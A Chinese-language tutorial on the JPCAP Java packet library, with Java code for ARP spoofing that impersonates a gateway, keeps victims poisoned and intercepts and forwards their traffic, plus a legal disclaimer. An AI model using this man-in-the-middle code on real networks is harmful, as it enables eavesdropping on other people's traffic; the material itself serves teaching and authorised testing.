Java 標準庫僅支援傳輸層 (TCP/UDP) 以上協議。JPCAP 透過 JNI 呼叫 WinPcap/libpcap,提供跨平台數據鏈路層 (OSI 第 2 層) 封包捕獲與發送能力。支援 Windows、Linux、FreeBSD、Solaris 等主流系統。
| 類別 | 職責 |
|---|---|
NetworkInterface | 網卡資訊:名稱、描述、MAC、Loopback 標誌、數據鏈路類型 (Ethernet/TokenRing/WiFi) |
JpcapCaptor | 捕獲引擎:開啟介面、設定混雜模式、快照長度、過濾器 (BPF 語法)、多種捕獲模式 (loop/process/dispatch) |
JpcapSender | 發送引擎:原始 Socket 自動填充鏈路層頭、或手動構造完整幀 |
Packet 及子類 | 封包物件模型:EthernetPacket、ARPPacket、IPPacket、TCPPacket、UDPPacket、ICMPPacket 等 |
交換式網路下,單純混雜模式無法監聽他人流量。需實施 ARP 欺騙:
以太網頭 (14 bytes) ARP 數據 (28 bytes)
目標MAC(6) 源MAC(6) 類型(2) 硬體類型(2) 協議類型(2) 操作碼(2)
MAC長(1) IP長(1) 發送者MAC(6) 發送者IP(4)
目標MAC(6) 目標IP(4)
// 初始化介面
NetworkInterface[] devs = JpcapCaptor.getDeviceList();
NetworkInterface dev = devs[0]; // 假設單網卡
JpcapCaptor captor = JpcapCaptor.openDevice(dev, 2000, false, 10000);
captor.setFilter("ip", true); // 僅捕獲 IP 封包
JpcapSender sender = captor.getJpcapSenderInstance();
// 構造欺騙目標 B 的 ARP Reply
ARPPacket arpToTarget = new ARPPacket();
arpToTarget.hardtype = ARPPacket.HARDTYPE_ETHER;
arpToTarget.prototype = ARPPacket.PROTOTYPE_IP;
arpToTarget.operation = ARPPacket.ARP_REPLY;
arpToTarget.hlen = 6; arpToTarget.plen = 4;
arpToTarget.sender_hardaddr = dev.mac_address; // 攻擊者 MAC
arpToTarget.sender_protoaddr = InetAddress.getByName(gatewayIp).getAddress(); // 冒充網關 IP
arpToTarget.target_hardaddr = targetMac; // 目標 MAC
arpToTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); // 目標 IP
EthernetPacket eth = new EthernetPacket();
eth.frametype = EthernetPacket.ETHERTYPE_ARP;
eth.src_mac = dev.mac_address;
eth.dst_mac = targetMac;
arpToTarget.datalink = eth;
// 定時發送維持欺騙
new Thread(() -> {
while (true) {
sender.sendPacket(arpToTarget);
sender.sendPacket(arpToGateway); // 同構造欺騙網關
Thread.sleep(500);
}
}).start();
// 捕獲並轉發
while (true) {
IPPacket pkt = (IPPacket) captor.getPacket();
if (pkt != null) {
byte[] nextHop = pkt.src_ip.getHostAddress().equals(targetIp) ? gatewayMac : targetMac;
forward(pkt, nextHop);
}
}
void forward(Packet pkt, byte[] dstMac) {
if (pkt.datalink instanceof EthernetPacket) {
EthernetPacket eth = (EthernetPacket) pkt.datalink;
System.arraycopy(dstMac, 0, eth.dst_mac, 0, 6);
System.arraycopy(dev.mac_address, 0, eth.src_mac, 0, 6);
sender.sendPacket(pkt);
}
}
未經授權進行 ARP 欺騙屬非法入侵行為。本文僅供網路安全教學、授權滲透測試、自有網路故障排查使用。實際部署請嚴格遵守當地法律法規。